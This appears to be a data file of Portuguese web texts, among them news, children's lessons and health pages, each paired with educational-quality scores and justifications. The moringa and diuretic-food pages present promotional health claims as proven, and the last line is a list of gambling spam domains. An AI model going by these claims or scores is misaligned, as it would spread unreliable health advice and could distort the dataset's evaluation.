+O alcachofras Eles também são uma fonte inesgotável de vitaminas do tipo B e outros elementos como ferro, magnésio e fósforo. Eles também são muito ricos em flavonóides, um ingrediente ativo que impede a retenção de líquidos em qualquer área do nosso corpo. Eles também são mais benéficos para melhorar nossa digestão, juntamente com a produção de bile no fígado. +A maneira mais saudável e deliciosa de tomar este vegetal é prepará-lo diretamente com um pouco de azeite e sal. E você pode até usar mais tarde esta água que você usou para fervê-los, para beber em infusão. +Tomate +Você precisa saber mais alimentos diuréticos além daqueles já descritos acima? Bem, não há problema. Da NatureVia também lhe dizemos que os tomates são também um diurético potente que pode adicionar às suas saladas sem qualquer esforço. +Além disso, graças ao seu alto teor de vitamina C, este vegetal promove o funcionamento correto dos ...",original,original,original,original,3,0.6 +"Após oficializarem a união na noite da última terça-feira (11), Xand e Isabela Timoteo aproveitam uns dias de lua de mel em um resort no Ceará. No Instagram, vocalista da banda de Forró, postou uma foto com a amada no lugar paradisíaco. ""Qualquer lugar com ela é maravilhoso mas esse aqui dispensa comentários. Mini lua de mel com minha nega @isabeletemoteo #casamentoisaexand #vivalavida"", escreveu. +Na cerimônia realizada na igreja de Cristo Rei, em Fortaleza, os noivos se emocionaram bastante. Para a data especial, Isabela optou por um vestido assinado pelo estilista Sandro Barros. Já Xand, escolheu um smoking do estilista Ricardo Almeida.",original,original,original,original,0,0.0 +"A meio caminho entre Évora e Reguengos de Monsaraz encontramos uma das seculares empresas vitivinícolas nacionais. A Ervideira, que produz vinho desde 1880, aposta no enoturismo, na adega e nas WineShops que tem nas duas cidades, o que lhe valeu, já pela segunda vez, a distinção de Excelência do TripAdvisor. +A Adega recebeu cerca de 30.000 visitantes em 2015, “um número que superou as nossas expetativas”. Os enoturistas portugueses são claramente a maioria, mas também houve espanhóis, franceses, brasileiros, e outros curiosos do vinho, ultrapassando as 40 nacionalidades. Ali, os visitantes podem provar os vinhos e, sob marcação, visitar as vinhas e os outros espaços de produção dos néctares da Ervideira, bem como em alturas específicas, como as vindimas, usufruir de programas especiais. +O certificado de Excelência do TripAdvisor que a empresa recebeu pelos serviços prestados na Adega Ervideira, é baseado nas avaliações feitas no site pelos visitantes e clientes do espaço, e é atribuído apenas quando se verificam apreciações consistentemente excecionais. +Para Duarte Leal da Costa, “este reconhecimento é para nós uma fonte de orgulho, pois temos como objetivo receber ‘Muito Bem’ e isso é comprovado pela satisfação dos clientes perante as experiências que viveram nas nossas lojas, nomeadamente na Adega”. O responsável acrescenta que “para nós, é da maior importância que os visitantes destes espaços possam não só provar os vinhos mas também experienciar um pouco daquilo que é a produção dos nossos vinhos bem como saiam com o sentimento de aprenderam mais sobre os vinhos. Ficamos muitíssimo satisfeitos por saber que o balanço destas visitas é tão positivo”. +O produtor alentejano tem um portfólio bastante amplo, com sete marcas e diversas gamas, pelo que “o consumidor pode encontrar um bom vinho Ervideira para cada momento”, garante o diretor executivo. Destes vinhos escolhemos alguns dos mais emblemáticos para vos apresentar: +A Ervideira tem 160 hectares de vinha – 110 hectares na Vidigueira, para os brancos, e 50ha na Vendinha – que dão origem aos vinhos da Ervideira, com base em 12 castas autóctones (que representam mais de 90% da produção), a que se juntam a internacionais Cabernet Sauvignon e a Syrah. +O diretor executivo da empresa explica que a Ervideira tem procurado sempre inovar e ‘desbravar’ caminho. A mais recente inovação foi submergir nas águas da albufeira de Alqueva – junto à Amieira Marina, empresa que colaborou no projeto – 30.000 garrafas do vinho Conde D’Ervideira reserva de 2014 para completar os oito meses de estágio em barrica. Em outubro de 2015 foram submersas numa zona sem corrente, com ausência total de luz e temperatura constante e em abril um primeiro lote foi lançado no mercado.",original,original,original,original,1,0.2 +"Esqueleto de ‘serpente bíblica’ com patas é encontrado na Argentina. | Resumo. +Home » Estudo. » Esqueleto de ‘serpente bíblica’ com patas é encontrado na Argentina. +Esqueleto de ‘serpente bíblica’ com patas é encontrado na Argentina. +Pesquisadores encontram um esqueleto de serpente com patas traseiras na Argentina, o que seria uma das melhores provas da teoria da evolução de Darwin. +A Najash Rionegrina tem seu nome derivado da palavra Nahash (cobra em hebraico) e por seu esqueleto ter sido encontrado na província argentina de Río Negro. +Segundo publicou a revista científica Science Advances, o fóssil possui restos de patas traseiras, o que mostraria o quanto o corpo das cobras evoluiu até se tornar mais flexível como em cobras atuais. +O achado, estudado por pesquisadores da Universidade de Flinders, Austrália, comprovaria que as cobras teriam evoluído a partir de antigos lagartos. +Ainda segundo os cientistas, durante os primeiros 70 milhões de anos de evolução, o animal ainda se movia sobre um par de patas traseiras. +Esqueleto de “serpente bíblica” com patas traseiras é descoberto na Argentina +‘Serpente bíblica’ +No texto bíblico de Gênesis capítulo 3 versículo 14, a serpente, na história sobre Adão e Eva, recebe uma maldição divina segunda a qual o animal passaria a andar sobre o seu ventre, levantando à interpretação, entre muitas outras, de que o animal antes andaria de outra forma. +De acordo com Alessandro Palci, pesquisador da Universidade de Flinders, além do desaparecimento das patas traseiras, outras mudanças na estrutura do animal teriam surgido ao longo do tempo, como indicaria o fóssil. +“A Najash tem o crânio mais completo, tridimensionalmente preservado de uma serpente antiga. Isto está nos fornecendo uma grande quantidade de novas informações sobre como a cabeça das serpentes evoluiu. Tem algumas, mas não todas as juntas flexíveis encontradas no crânio de serpentes modernas. Sua orelha é intermediária entre a dos lagartos e das cobras atuais, e diferente destas, tem o osso da face bem desenvlvido, que também é remanescente dos lagartos”, declarou Palci. +Ainda segundo Mike Lee, pesquisador do Museu do Sul da Austrália e da Universidade de Flinders, a “Najash encontrada mostra como as cobras evoluíram dos lagartos em passos evolutivos, tal como Darwin predisse”. +Com a Informação Sputnik. +Erupção solar. +Grades Sinais do Céu. +Grandes Sinais do Céu. +Mistério e Sobrenatural. +O Senhor Jesus. +Pragas e Pestes. +Tempestade solar. +Descubra o que as pessoas normalmente sentem antes de morrer. +McCarthy e seu misterioso boneco ventríloquo. +A História de Katherine Johnson: Ela é conhecida como o computador humano da Nasa. +Porque temos a Paralisia do Sono?",original,original,original,original,3,0.6 +"13 itens de 'camiseta blanca mangas negras' +Camisas Casuais Floral Bordado +Preto respirável com zíper lateral camisetas +T-shirt bordado de verão +T-shirt da luva dos retalhos 3/4 +T-shirt ocasionais bordados da borla +O-NEWE T-shirt de mangas compridas retalhos +Camisa listrada respirável de algodão de verão T +Bordado Branco T-shirts",original,original,original,original,0,0.0 +"Se pastilhas de nicotina, adesivos, goma de mascar, aconselhamento e outros métodos não ajudaram você a largar o vício, não desista. +Pergunte ao seu médico se a hipnose é uma opção para você. Alguns estudos têm demonstrado que a hipnose pode ajudar certas pessoas a parar de fumar. +(VÍDEO) Dieta Para Fumantes + Cardápio para Parar de Fumar +> O que é hipnose? +A hipnose é definida como um estado alterado de consciência em que você parece estar dormindo ou em transe. Hipnose clínica pode ser usada para tratar certos problemas físicos ou psicológicos. +Por exemplo, ele é frequentemente usado para ajudar pacientes controlar a dor. Ele também é usado em uma ampla gama de outras condições, tais como problemas de peso, distúrbios da fala e problemas de adicção. +Há um debate sobre como funciona a hipnose. Algumas pessoas acreditam que quando você está hipnotizado, você relaxa e se concentra mais e fica mais disposto a ouvir sugestões, como deixar de fumar, por exemplo. +Mesmo que você parece estar em transe durante a hipnose, você não está inconsciente. +Você está ainda consciente do seu entorno, e apesar de que muitos artistas de palco podem reclamar durante um show divertido, você não pode fazer algo contra a sua vontade. +Na verdade, testes realizados em cérebro de pacientes durante as sessões de hipnotismo têm demonstrado um alto nível de atividade neurológica. +(VÍDEO) Hipnose Na Prática – Como Parar de Fumar com Hipnose +> Hipnose para Fumantes +Durante a hipnose para parar de fumar, um paciente é frequentemente solicitado para imaginar os resultados desagradáveis de fumar. +Por exemplo, o hipnoterapeuta pode sugerir que a fumaça de cigarro cheira como escape de caminhão, ou que fumar vai deixar o paciente sentindo a boca extremamente ressecada. +Método do Spiegel é uma popular hipnose técnica que se concentra em três ideias principais: +Você deve respeitar seu corpo e protegê-lo (até o ponto que gostaria de viver). +O hipnoterapeuta ensina a auto-hipnose fumante e pergunta, em seguida, ele ou ela para repetir estas afirmações quando ocorre o desejo de fumar. +> Hipnose funciona? +Hipnose, em geral, não funciona para todos. Cerca de um em cada quatro pessoas não são capazes de ser hipnotizado. +Quando bem sucedida, a intensidade da hipnose pode variar de pessoa para pessoa. +A hipnose não é uma terapia aprovada pela American Medical Association (AMA). A organização não tem uma posição oficial sobre o uso da hipnose. +Uma declaração de posição sobre o uso da técnica para fins médicos e psicológicos foi revogada pela AMA em 1987. +(VÍDEO) Hipnose – Sessão Para Parar de Fumar +> Como Encontrar uma Hipnoterapeuta +Se você quer tentar a hipnose para ajudar você a parar de fumar, fale ao seu prestador de cuidados de saúde para recomendar uma boa hipnoterapeuta. +Aqui estão algumas dicas ao procurar uma hipnoterapeuta qualificada: +Certifica-se de que eles são licenciados, treinados e credenciados. +Hipnose para parar de fumar e outras razões médicas ou comportamentais só deve ser feito por alguém que tenha uma licença atual em um campo de cuidados de saúde, como medicina, psiquiatria, psicologia ou enfermagem. +Fazer algumas perguntas difíceis. Pergunte sobre sua formação profissional. A sociedade americana de hipnose também sugere a perguntar: ""É capaz de me ajudar sem usar hipnose?"" Se a resposta for não, você deve procurar outro lugar. +Lembre-se, que nunca é tarde demais para parar de fumar. Isso tem benefícios de saúde imediata. E, se você parar de fumar antes de você completar 50, você vai cortar o risco de morrer na metade dos próximos 15 anos. +Boa tarde ….eu gostaria de parar de fumar ja tentei inúmeras vezes com adesivos e pastilhas e td mais….não consigo ficar mais que três meses sem cigarro…sera que vcs tem algum profissional que faz hiponose para parar de fumar que seja de confiança e vcs podem me indicar……grato",original,original,original,original,3,0.6 +"Olá, pequenos exploradores! Já pararam para pensar de onde vêm as coisas que usamos todos os dias? A água que bebemos, a madeira da nossa mesa, o algodão da nossa roupa… Tudo isso vem da natureza, dos nossos chamados recursos naturais! + +Os recursos naturais são tudo aquilo que a natureza nos oferece e que usamos para viver. São como presentes que a Terra nos dá! Imagine um rio: ele nos dá água para beber, para tomar banho e para irrigar as plantações que nos dão comida. A água do rio é um recurso natural muito importante. E o sol? Ele nos dá luz e calor, que são essenciais para as plantas crescerem e para nos aquecer. A luz do sol é outro recurso natural fantástico! + +A madeira das árvores também é um recurso natural. Com ela, podemos construir casas, móveis e até fazer papel para desenhar e escrever! Mas, atenção: precisamos cuidar das nossas florestas e plantar mais árvores para que a gente sempre tenha madeira disponível. Precisamos usar a madeira com sabedoria, sem derrubar mais árvores do que o necessário. + +O solo, a terra onde plantamos, é outro recurso natural super importante. É no solo que as plantas crescem e nos dão alimentos como frutas, verduras e legumes. Precisamos cuidar do solo para que ele continue fértil e produtivo. Uma forma de cuidar do solo é não jogar lixo nele e usar técnicas de plantio que não o prejudiquem. + +Até mesmo o ar que respiramos é um recurso natural! Precisamos de ar limpo para viver saudáveis. Por isso, é importante evitar a poluição do ar, não jogando lixo nas ruas e evitando queimadas, que soltam muita fumaça. Que tal plantar uma árvore na sua casa ou na sua escola? As árvores ajudam a limpar o ar! + +Os recursos naturais são muito importantes para a nossa vida, mas eles não são infinitos. Precisamos usá-los com cuidado e responsabilidade, pensando nas futuras gerações. Que tal começarmos a repensar nossos hábitos? Podemos economizar água ao escovar os dentes, reutilizar embalagens e separar o lixo para reciclagem. Pequenas atitudes fazem toda a diferença! + +Agora, pensem um pouquinho: quais outros recursos naturais vocês conhecem? Como podemos cuidar melhor deles? Compartilhem suas ideias com seus amigos e familiares e vamos juntos proteger os tesouros da natureza!",Geografia,Recursos naturais,anos iniciais (1º ao 5º ano),"O trecho apresenta um alto valor educacional, introduzindo o conceito de recursos naturais de forma clara e acessível para crianças. Utiliza exemplos práticos e cotidianos, incentivando a reflexão e a ação em prol da sustentabilidade. A linguagem é adequada para os anos iniciais do ensino fundamental, promovendo o aprendizado de forma lúdica e engajadora. Aborda a importância da preservação e o uso consciente dos recursos, incentivando práticas sustentáveis.",5,1.0 +"O Registro de Continuidade é um processo que passa por várias fases. A terceira fase deste processo, chamado de Implementação onde será definido o Plano de Continuidade, o Planejamento e a Estratégia de Testes. Esta funcionalidade permite cadastrar o Plano de continuidade. +Antes de começar +Pressupõe a existência de um serviço definido num processo de Gerenciamento de Portfólio e Catálogo. +É fundamental primeiramente ter o Registro de Continuidade já cadastrado, a política e o projeto de continuidade do serviço já definidos, além de ter o escopo, as funções vitais, a análise de impacto no negócio, a avaliação de riscos e a estratégia de continuidade já registradas. +É necessário o cadastro prévio da ameaça e da categoria de ameaça e vincular a categoria de ameaça a ameaça cadastrada. Também é essencial cadastrar, anteriormente, o risco e a categoria de risco. +Igualmente, é crucial cadastrar as ações automáticas de Incidente, requisição e procedimentos referente ao Gerenciamento de Eventos. +Procedimento +Acessar a funcionalidade através da navegação no menu principal Processos > Gerência de Continuidade > Continuidade; +Localizar a continuidade do qual deseja vincular o plano de continuidade e clicar no botão ""Avançar""; +Na área Implementação, clicar em ""Plano de Continuidade""; +Preencher os campos necessários; +Para vincular um conhecimento, clicar em ""Relacionar Conhecimentos"" para pesquisar e vincular o conhecimento desejado; +Para vincular medidas de recuperação ao plano de continuidade, clicar em ""Relacionar Medidas de Recuperação"" para pesquisar e vincular as medidas desejadas; +Para anexar algum arquivo, clicar no botão ""Anexar"" e sem seguida ""Adicionar o arquivo"" para vincular o arquivo; +Clicar no botão ""Gravar"" para efetuar a operação. +O que fazer a seguir +Após de cadastrar o plano de continuidade é necessário executar a seguinte ação: cadastrar o planejamento organizacional da continuidade sendo esta ação parte da terceira fase do registro completo da continuidade, chamada de Implementação.",original,original,original,original,1,0.2 +"Olá, pequenos exploradores! Já pararam para pensar em quem vivia no Brasil antes de Pedro Álvares Cabral chegar com suas caravelas? Eram os povos indígenas! Eles já estavam aqui há milhares de anos, cuidando da nossa terra com muito carinho e sabedoria. + +**Quem são os povos indígenas?** + +Os povos indígenas não são um grupo único. São várias tribos, cada uma com sua própria língua, costumes, crenças e tradições. Alguns exemplos são os Guarani, os Yanomami, os Xavante e os Ticuna. Cada um deles tem uma história rica e interessante para nos contar. + +**Como eles vivem?** + +Antigamente, muitos povos indígenas viviam da caça, da pesca e da agricultura. Eles plantavam mandioca, milho, batata-doce e muitos outros alimentos. Viviam em casas feitas de palha e madeira, chamadas ocas, e se vestiam com roupas feitas de materiais da natureza, como penas e peles de animais. Hoje em dia, alguns povos indígenas ainda vivem dessa forma, preservando seus costumes ancestrais. Outros, vivem em cidades, mas continuam mantendo vivas suas tradições e lutando por seus direitos. + +**O que podemos aprender com os povos indígenas?** + +Os povos indígenas têm muito a nos ensinar sobre respeito à natureza, sobre a importância da comunidade e sobre a sabedoria dos mais velhos. Eles conhecem os segredos da floresta, sabem como usar as plantas para curar doenças e têm uma ligação muito forte com a terra. Podemos aprender muito com eles sobre como viver em harmonia com o meio ambiente. + +**Curiosidades indígenas:** + +* Você sabia que a rede que usamos para dormir é uma invenção indígena? +* E que muitas palavras que usamos no nosso dia a dia, como abacaxi, mandioca e pipoca, vêm de línguas indígenas? +* Os indígenas adoram pintar o corpo com tintas naturais feitas de plantas e frutos. Cada pintura tem um significado especial! + +**Vamos pensar um pouco:** + +* Como podemos ajudar a proteger a cultura e os direitos dos povos indígenas? +* O que podemos fazer para aprender mais sobre a história e os costumes desses povos? +* Como podemos aplicar os ensinamentos dos povos indígenas em nossas vidas, para cuidar melhor do nosso planeta? + +Os povos indígenas são parte importante da nossa história e da nossa cultura. Vamos valorizar e respeitar esses povos, aprendendo com eles e ajudando a construir um Brasil mais justo e igualitário para todos!",História,Povos indígenas,anos iniciais (1º ao 5º ano),"O trecho recebe a nota máxima (5) por apresentar um conteúdo altamente relevante e proveitoso para fins educacionais no Ensino Fundamental. Apresenta a temática dos povos indígenas de forma clara, didática e interessante, utilizando linguagem acessível e promovendo a reflexão. Aborda diversos aspectos da cultura indígena, desde seus costumes e tradições até sua importância histórica e contribuições para a sociedade brasileira. O texto estimula o respeito, a valorização e a aprendizagem sobre os povos originários, sendo perfeitamente adequado para o público-alvo.",5,1.0 +"Entenda como a Moringa ajuda no controle de peso - Bem de Saúde +Caminhada, musculação, dieta low carb, dieta da proteína, chá verde, chá preto! Essas são apenas algumas das estratégias utilizadas quando o assunto é controlar o peso. +Porém, hoje nós vamos falar de uma das melhores estratégias para controle de peso, mas que poucas pessoas conhecem: a Moringa Oleífera! +No vídeo abaixo, o Dr. Dayan Siebra explica um pouco sobre as inúmeras propriedades desta planta e como a Moringa ajuda no controle de peso! +Saiba mais: O que é a Moringa Oleífera? Conheça os benefícios desta fantástica planta! +Por que controlar o peso é tão importante? +Doenças crônicas como diabetes, hipertensão e outras doenças cardiovasculares estão entre as principais causas de mortalidade no Brasil, segundo um estudo recente. +Não é novidade que essas doenças estão geralmente associadas a condições como o sobrepeso e a obesidade! +Por definição, o sobrepeso e a obesidade se caracterizam pelo acúmulo anormal ou excessivo de gordura, especialmente na região abdominal. Isso pode ser desencadeado pela grande diferença entre a energia consumida e a energia gasta. +Saiba mais: 20 pequenas mudanças que vão te fazer perder peso! +Em outras palavras, maus hábitos alimentares e a falta da prática de exercícios físicos estão entre maiores causas de sobrepeso, obesidade e outras doenças crônicas. +Por essa razão, controlar o peso é tão importante! Não apenas para manter um corpo bonito e magro, mas principalmente para manter o seu corpo saudável! +Entretanto, se engana quem pensa que quem é magro não precisa se preocupar com o controle de peso… +Até porque, quando o assunto é o seu peso, o número que aparece na balança não é o mais importante! Você pode ser magro ou magra e ainda assim ter problemas de saúde, tais como colesterol alto, diabetes ou hipertensão. +Saiba mais: Você sabe a diferença entre colesterol bom e colesterol ruim? +Por isso, vale lembrar mais uma vez controlar o peso não é importante somente para as pessoas que desejam ou precisam emagrecer, mas para quem quer manter a saúde do corpo! +Nesse sentido, algumas plantas têm muito a contribuir! Na verdade, as plantas têm sido utilizadas como medicamentos tradicionais naturais para a cura de enfermidades há vários séculos. +É o exemplo desta simpática planta que vem do sudeste asiático e que está cada vez mais surpreendendo os cientistas! +Saiba mais: Fitoterapia e Medicamento Fitoterápico não são a mesma coisa! +Nós já falamos sobre ela várias vezes por aqui, mas não custa nada lembrar, não é mesmo? +A Moringa, ou Moringa Oleífera, é uma árvore encontrada em regiões quentes, principalmente na Ásia, na África, na América Central e na América do Sul. Portanto, nós podemos encontrá-la também por aqui em terras brasileiras. +Saiba mais: O que é a Moringa Oleífera: 3 coisas que você precisa saber! +Ela tem tantas propriedades medicinais que é capaz de transformar a sua saúde e qualidade de vida! +Ela pode ser utilizada na alimentação como forma de suplementar a alimentação! Tanto é assim, que já está sendo utilizada para ajudar a acabar com a desnutrição em alguns países africanos! +Além disso, ela também têm se mostrado uma excelente aliada no combate às dores musculares e doenças crônicas como a diabetes e a hipertensão! +Entenda como a Moringa ajuda no controle de peso! +Saiba mais: 5 razões INCRÍVEIS para usar a Moringa no tratamento das dores! +Como a Moringa ajuda no controle de peso? +Um dos muitos benefícios comprovados da Moringa é o controle de peso! +A Moringa Oleífera possui inúmeros valores nutricionais e medicinais atribuídos às suas raízes, cascas, folhas, flores, frutos e sementes. +Aliás, praticamente todas as partes da planta possuem atividade antimicrobiana, antidiabética, hepatoprotetora e para a estimulação cardíaca. Na verdade, algumas mais que outras. É o caso das folhas da Moringa Oleífera! +Saiba mais: 3 maneiras fantásticas de usar a semente de Moringa! +Veja agora 3 formas em que a Moringa ajuda no controle de ...",original,original,original,original,2,0.4 +"Feito por : Eliel Filho quinta-feira, 20 de setembro de 2012",original,original,original,original,0,0.0 +"Ousadia é com ela mesmo! Geisy Arruda apareceu poderosa nesta quinta-feira (11) ao posar com uma amiga na Praia do Futuro, no Ceará.No clique, a dupla aproveita um banho de piscina e Geisy ostenta o corpão em um maiô sexy e inusitado. Com as laterais vazadas, o modelo deixa boa parte das costas à mostra, com apenas três tirinhas que ligam a parte frontal com a traseira. Uau!",original,original,original,original,0,0.0 +"governo Bolsonaro política COP27 Amazônia Bolsonaro Governo Lula desmatamento indígenas microbolsas Funai Mudanças Climáticas bolsonarismo democracia diplomacia indígenas isolados petróleo socioambiental Donald Trump Eleições 2022 ICIJ +Reportagem +Sojeiros culpam sarna por problemas de saúde em vila onde avião lançou agrotóxicos +Divulgação/moradores +Moradores relataram falta de ar, tonturas e coceiras após avião com agrotóxicos sobrevoar comunidade; três meses depois, ainda não têm resultado de testes de contaminação +Moradores relataram falta de ar, tonturas e coceiras após avião com agrotóxicos sobrevoar comunidade; três meses depois, ainda não têm resultado de testes de contaminação +5 de agosto de 2021 +12:00 +Hélen Freitas, Agência Pública/Repórter Brasil +Este texto foi publicado há mais de 1 ano. +Especial: Por trás do alimento +agrotóxico +agrotóxicos +Anvisa +intoxicação +Maranhão +soja +agrotóxico agrotóxicos Anvisa intoxicação Maranhão soja +“Depois que esse avião passou por cima das nossas casas, estamos adoecendo. Então a gente tá pedindo ajuda, a gente tá pedindo socorro”. Três meses após ser uma das vítimas atingidas por agrotóxicos lançados de avião sobre Araçá, comunidade rural no Maranhão, Antônia Peres relata sintomas de intoxicação. Como ela e seu filho de sete anos, outros moradores têm dor de cabeça, tontura, fraqueza, falta de ar e coceira recorrentes desde o episódio, em 19 e 22 de abril. Até hoje eles não receberam tratamento para a intoxicação. +Vídeos feitos pelos moradores registram o avião passando diversas vezes sobre as casas e revelam o corpo do filho de Antônia cheio de manchas e feridas. O episódio, revelado em matéria da Repórter Brasil e Agência Pública, faz parte de uma disputa por terra entre sojeiros e as comunidades de Araçá e Carranca, ambas no município de Buriti. Moradores relataram terem recebido ameaças de envenenamento caso não deixassem o local. +Apesar da gravidade das denúncias, as investigações da Polícia Civil e das secretarias estaduais da Saúde e do Meio Ambiente andam a passos lentos. Até agora, nenhum morador recebeu os resultados dos testes colhidos na comunidade. Mas o presidente da Associação Brasileira de Produtores de Soja (Aprosoja) do Maranhão garante que já sabe o que dizem os laudos. +“Todos os exames realizados, toda a perícia que foi pra lá, 100%, tirou todas as dúvidas. Nada aconteceu que venha ter causado qualquer tipo de coceira, qualquer tipo de desconforto pra alguém”, afirma Vilson Ambrozi, presidente da associação no estado. +“A comunidade inteira se coçava por escabiose”, afirma o representante dos sojeiros, referindo-se à doença conhecida como sarna humana. Segundo ele, os laudos mostram que não houve intoxicação por agrotóxicos e que a sarna é a origem dos problemas de saúde dos moradores. “Se você olhar a foto do menino [criança que aparece no vídeo acima] e mostrar pro médico, na foto ele já identifica escabiose. Porque no meio dos dedos, embaixo das axilas, é impossível. Não tem inseticida no mundo, nem se fosse o agente laranja. Mas escabiose faz, então foi escabiose”. +“Estamos adoecendo”, diz Antônia Peres. Seu filho, que ficou com feridas na pele, correu atrás do avião que sobrevoou a comunidade +A médica sanitarista Lilimar Mori, que tem ampla experiência no cuidado de populações atingidas por agrotóxicos no Paraná, analisou os vídeos da criança e os classificou como inconclusivos. “Olhando o vídeo não dá pra dizer. Pode ser uma irritação pela substância química. A substância química pode fazer uma lesão, uma infecção em cima disso, ou por uma bactéria”. +Até agora não se sabe se todos os problemas de saúde diagnosticados nas comunidades são decorrentes da aplicação de agrotóxicos. Durante a visita realizada no início de maio, um infectologista e um clínico enviados pelo governo do estado constataram que alguns atingidos estavam com uma infecção derivada da escabiose. A doença gera bolhas que, quando coçadas, tornam-se feridas na pele. +A origem da escabiose não tem ...",original,original,original,original,3,0.6 +"Olá, pequenos cientistas! Já pararam para pensar em como o nosso corpo é fascinante? Ele é como uma máquina superpotente que nos permite correr, pular, aprender e brincar! Vamos juntos explorar um pouco desse mundo incrível que vivemos dentro de nós. + +Imagine que você é um explorador e o seu corpo é o mapa do tesouro. Cada parte tem uma função especial. Começando pela nossa cabeça, temos o cérebro, que é como o computador central. Ele comanda tudo, desde o que pensamos até os movimentos que fazemos. É ele quem nos ajuda a aprender coisas novas na escola e a lembrar dos nossos amigos. + +Descendo um pouco, encontramos o coração, que é um músculo muito forte. Ele trabalha sem parar, dia e noite, para bombear o sangue por todo o corpo. O sangue leva oxigênio e nutrientes, que são como a gasolina para o nosso corpo funcionar direitinho. É por isso que precisamos comer alimentos saudáveis, como frutas e verduras, para dar energia para o nosso coração e para todo o nosso corpo! + +E os nossos pulmões? Eles são como balões que enchemos e esvaziamos o tempo todo. Quando respiramos, o ar entra nos pulmões e o oxigênio vai para o sangue, enquanto o gás carbônico, que é um “lixo” do nosso corpo, sai. Por isso, é tão importante respirar ar puro e evitar lugares com muita fumaça. + +Agora, vamos falar sobre a nossa barriga. Lá dentro, temos o estômago e os intestinos, que são como uma fábrica de alimentos. Eles quebram a comida em pedacinhos bem pequenos para que o nosso corpo possa usar tudo o que precisamos para crescer fortes e saudáveis. Por isso, é importante mastigar bem os alimentos e comer devagar. + +E os nossos ossos e músculos? Eles formam o nosso esqueleto e nos dão forma e sustentação. Os músculos nos ajudam a nos mover, correr, pular e fazer tudo o que gostamos. Para ter ossos e músculos fortes, precisamos fazer exercícios e comer alimentos ricos em cálcio, como leite e queijo. + +Cuidar do nosso corpo é muito importante para termos uma vida feliz e saudável. Precisamos comer bem, fazer exercícios, dormir o suficiente e beber bastante água. Além disso, é fundamental manter a higiene, lavando as mãos antes das refeições e escovando os dentes após cada refeição. + +Então, o que aprendemos hoje? Que o nosso corpo é uma máquina incrível, com muitas partes que trabalham juntas para nos manter vivos e saudáveis. Cuidar dele é uma responsabilidade nossa, e quanto mais aprendemos sobre ele, mais fácil fica de tomar boas decisões para a nossa saúde. + +Agora, pense um pouquinho: Quais são as suas partes do corpo favoritas e por quê? O que você pode fazer hoje para cuidar ainda melhor do seu corpo? Lembre-se, você é o explorador do seu próprio corpo, e a aventura da saúde está apenas começando!",Ciências,Corpo humano e saúde,anos iniciais (1º ao 5º ano),"O trecho apresenta informações básicas sobre o corpo humano de forma lúdica e acessível, ideal para os anos iniciais do ensino fundamental. Apresenta conceitos importantes do currículo, como a função dos órgãos, a importância da alimentação saudável e da higiene. A linguagem é clara e convidativa, estimulando a reflexão e o cuidado com o corpo. É adequado para uso educacional, introduzindo conceitos de forma coerente e estimulante para o aprendizado.",5,1.0 +"Acordou sentindo-se vazia de paixão. Folha em branco sem a alegria por estar viva e ter um dia a sua frente. Um vazio esquisito de rajada no peito e na barriga, vento varrendo a praça. Nem precisa despencar em um buraco sem fundo para vivê-lo, ela era o buraco. +Pensa em Frida Khalo, pintora mexicana que a impressionava pela obra, mas também pela vida trágica. Por que Frida Khalo lhe vinha agora? Talvez porque Frida Khalo sofreu de tudo, lhe parecia, menos de falta de paixão. +Acabara de reler o livro ""Frida Kahlo e Diego Rivera"", de Isabel Ancântara e Sandra Egnolff. O último quadro de Frida, uma celebração à vida. Natureza morta _ melancias partidas vermelho e verde, contra o fundo azul e branco de céu e nuvens. Em uma das frutas pintadas a artista escreveu ""VIVA LA VIDA"". +Naquela manhã vazia a mulher envereda pelo diário de Frida, escrito entre 1946 a 54, ano de sua morte, aos 47 anos. +Em 1953, após ter amputada a perna direita, em consequência do desastre de ônibus na adolescência, Frida desenha pés e uma perna como uma coluna grega. Da perna saem galhos de roseira, espinhos sem rosas. A pintora escreveu nessa página: +""Pies, para qué los quiero +Si tengo alas pa' volar"". +Frida precisava dos pés e das asas, pensa a mulher. Não se pode escolher entre uns e outras. Frida não escolheu. Em muitos sentidos a vida a escolheu e a marcou da desmesura das paixões, amores, arte, dor, alegrias e tragédias. +Como em um sonho se recorda da escolha da pequena sereia que, apaixonada por um humano troca a voz por pernas, para deixar o mar e viver o amor. O que acabaria por matá-la. Sem voz não se pode passar. +Telefona para a filha que, com dor de cabeça, diz que lhe ligaria no dia seguinte. Coloca um lagarto na panela de ferro para cozinhar. Perde os óculos, barata tonta, acha os óculos. Atende o telefone, engano. O buraco permanecia. Almoça e ele não some. Chove lá fora, e dentro uma secura. Precisa sair pagar contas, passar na lavanderia, na casa de consertos, no super mercado, muidezas necessárias. Uma preguiça. +Frida Kahlo dizia das duas tragédias de sua vida _ o desastre de ônibus e Diego Rivera. +No desastre Frida foi empalada pela própria costela, quebrou a bacia e teve mutilada irremediavelmente uma das pernas. A direita. Sofreu abortos, não conseguiu gerar um filho. +Diego foi uma tragédia porque o amou perdida e apaixonadamente. Retribuída e admirada pelo marido como mulher e artista, mas Diego sofria de uma atração incurável por outras mulheres, pelas quais também se apaixonava. O muralista conta em sua auto-biografia que quanto mais amava uma mulher, mais precisava maltratá-la, e que fria foi a maior vítima desse seu desvio de caráter. Rivera e Khalo se separaram. E se casaram por uma segunda vez. +Em um de seus auto-retratos Frida pinta um beija-flor no lugar das sombrancelhas. Suas sobrancelhas perfeitas, negras e espessas lembravam as asas de um pássaro. Ferido. +Após o acidente de ônibus podia apenas ficar deitada, era uma adolescente cheia de vida, e sentia um tédio desesperado, que narrou em cartas para o namorado, Alejandro Gómez Arias. O rapaz foi mandado para a Europa pelos pais, que o quiseram afastar de Frida. O que a salvou foi a idéia da mãe de dar-lhe material para pintar. Frida lia sobre história da arte e pintava, foi auto didata. +Ao deixar o hospital, Frida Khalo recuperou-se na Casa Azul, onde nasceu, e mais tarde em seu casamento voltou a viver ali com Diego. Morreu na casa em que nasceu. +Nos sobre-olhos de alguns auto-retratos a imagem de Diego, como um terceiro olho. Em outros Khalo pinta lágrimas, ou se mostra ferida _ uma corça cravada de flexas com o rosto humano, aquelas sombracelhas, impressão digital. Retratando seu sofrimento Frida revela e resvala no sofrimento humano. +A chuva fina afina o frio. Troca de roupa, passa um baton, talvez faça as unhas e arrume o cabelo. A pequena mulher mergulhada nas pequenas tragédias cotidianas, faz uma prece ao deus das pequenas coisas. A rajada nas entranhas se torna um ar...",original,original,original,original,2,0.4 +www.js9735.com| www.hptx.cc| www.54333.com| www.6074.com| www.6017017.com| www.dfh4.com| zg39.com---中国彩票网| www.js0093.com| 6364o.com---中国福利彩票| WWW.PJ2016.COM| www.am3588.com| www.pj550099.com| www.g388.cc| 